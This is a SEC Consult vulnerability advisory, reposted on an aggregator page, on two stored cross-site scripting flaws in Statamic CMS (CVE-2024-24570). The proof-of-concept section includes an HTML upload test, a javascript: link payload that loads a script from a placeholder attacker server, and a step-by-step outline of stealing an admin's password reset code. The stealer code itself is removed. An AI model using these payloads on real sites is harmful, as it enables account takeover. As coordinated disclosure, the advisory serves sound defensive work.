Lucene search
Niklas Schilling, sec-consult.comPACKETSTORM:177133
HistoryFeb 14, 2024 - 12:00 a.m.
Statamic CMS Cross Site Scripting

2024-02-1400:00:00
Niklas Schilling, sec-consult.com
packetstormsecurity.com
219
cross-site scripting
statamic cms
vulnerabilities
patch
content security policy
security review
javascript code
file upload
hyperlink
admin access
AI Score
7.4
Confidence
Low
EPSS
0.001
Percentile
20.6%
JSON
`SEC Consult Vulnerability Lab Security Advisory < 20240212-0 >  
=======================================================================  
title: Multiple Stored Cross-Site Scripting vulnerabilities  
product: Statamic CMS  
vulnerable version: <4.46.0, <3.4.17  
fixed version: >=4.46.0, >=3.4.17  
CVE number: CVE-2024-24570  
impact: high  
homepage: https://statamic.com/  
found: 2024-01-06  
by: Niklas Schilling (Office Munich)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Statamic is a modern, clean, and highly adaptable CMS built on Laravel  
that can run full-stack, headless, on flat files or databases, or as a  
static site generator."  
  
Source: https://statamic.com/  
  
  
Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately. Furthermore,  
an updated guideline for implementing a Content Security Policy (CSP) is  
provided by the vendor.  
  
SEC Consult highly recommends to perform a thorough security review of the  
product conducted by security professionals to identify and resolve potential  
further security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)  
Statamic's Forms feature allows unauthenticated users to upload certain  
filetypes. While only a limited number of file extensions are allowed, it's  
possible to bypass these restrictions to upload an HTML file containing  
JavaScript code.  
  
2) Stored Cross-Site Scripting in Link Field  
Statamic's Link Field feature provides authenticated users a convenient way  
of inserting Hyperlinks into a collection's entry. It was identified that  
it's possible to execute JavaScript code upon clicking on a specially  
crafted Hyperlink.  
  
  
Proof of concept:  
-----------------  
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)  
When trying to upload an HTML file as an unauthenticated user, the  
.html extension gets correctly detected by Statamic, leading to the file  
being blocked from uploading.  
  
This check can be bypassed though, by instead using a .jpg file extension,  
as files of this type are allowed to be uploaded. Afterwards, the file's  
content is analyzed by Statamic and correctly interpreted as HTML, resulting  
in the initial .jpg extension being replaced with an .html extension. As no  
checks on this newly set file extension are performed, the file is now shown  
as a valid submission in Statamic's "Forms" page.  
  
If an authenticated user accesses this submission, the included JavaScript  
code will be executed. This can be verified by uploading a file called  
"test.jpg" with the following content:  
  
<!DOCTYPE html>  
<html>  
<body>  
<script>alert("Stored XSS on "+window.origin)</script>  
</body>  
</html>  
  
To further demonstrate the criticality of this vulnerability, the following  
JavaScript code can be used:  
  
[ POC code removed from public advisory ]  
  
  
When an admin user now accesses this JavaScript submission, the following happens:  
1. Load the "Users" page in a hidden iframe and extract the CSRF token from it.  
2. Request user information and extract the user ID and email address from  
the response.  
3. Request a password reset code for the extracted used ID.  
4. Extract the password reset code from the response and send it to the  
attacker server including the user's email address.  
  
After receiving the victim's password reset code and email address,  
the attacker can now visit the following URL and set a new password:  
https://<STATAMIC_SERVER>/!/auth/password/reset/<PASSWORD_RESET_CODE>  
  
This results in a successful takeover of the victim's account.  
  
  
2) Stored Cross-Site Scripting in Link Field  
When using a Link Field of type "URL", the following XSS payload can be used  
as input:  
javascript:var js=document.createElement('script');js.src='https://<ATTACKER_SERVER>/poc.js';document.body.append(js)  
  
  
As this input is typically placed in the "href" attribute of an anchor tag,  
the JavaScript pseudo protocol can be used to execute arbitrary JavaScript  
code upon clicking on the Hyperlink. In this case the external file "poc.js"  
will be loaded, which contains the JavaScript code from the password reset  
code stealer above (removed from public advisory).  
  
This way, an authenticated user with lower privileges can gain control over an  
admin's account after the admin clicks on the malicious Hyperlink.  
  
Statamic's "sanitize" modifier doesn't prevent this attack, as no illegal  
characters are being used in the XSS payload:  
<a href="{{ url_link | sanitize }}">Link</a>  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following version has been tested which was the latest version available  
at the time of the test:  
* 4.45.0  
  
The following Statamic CMS versions are affected by this vulnerability:  
* <4.46.0  
* <3.4.17  
  
  
Vendor contact timeline:  
------------------------  
2024-01-24: Contacting vendor through [email protected]  
2024-01-24: Vendor confirms receipt of advisory and states that they aim to  
resolve the issues within the next few days.  
2024-01-26: Vendor fixes the first stored XSS and shares the corresponding  
GitHub security advisory draft. Furthermore, valid arguments for  
mitigating the second stored XSS via a correctly set CSP are  
supplied. Vendor also creates a new documentation page for  
setting the CSP in the correct areas.  
2024-01-26: Confirming that setting a correctly configured CSP for the  
necessary areas results in a higher efficiency in mitigating the  
second security issue.  
2024-01-29: Suggesting an adjustment of the assigned CVSS3.1 score that was  
set in the vendor's GitHub security advisory. Also asking for  
planned public disclosure and the assignment of a CVE number.  
2024-01-29: Vendor adjusts CVSS3.1 score and suggests requesting a  
CVE number via GitHub.  
2024-01-30: Received CVE number CVE-2024-24570.  
2024-02-12: Coordinated release of advisory.  
  
  
Solution:  
---------  
The vendor provided a patch for the "Stored Cross-Site Scripting in Forms" feature  
(CVE-2024-24570):  
  
* Update version "4.X" to "4.46.0" or later  
* Update version "3.X" to "3.4.17" or later  
  
Get the newest release of Statamic CMS here:  
https://github.com/statamic/cms/releases  
  
The vendor will not provide a patch regarding "Stored Cross-Site Scripting in  
Link Field" but suggests to implement a correctly configured CSP as described  
in Statamic's newly added documentation page:  
  
https://statamic.dev/tips/content-security-policy  
  
Vendor advisory:  
https://github.com/statamic/cms/security/advisories/GHSA-vqxq-hvxw-9mv9  
  
  
Workaround:  
-----------  
No workaround available.  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF Niklas Schilling / @2024  
  
`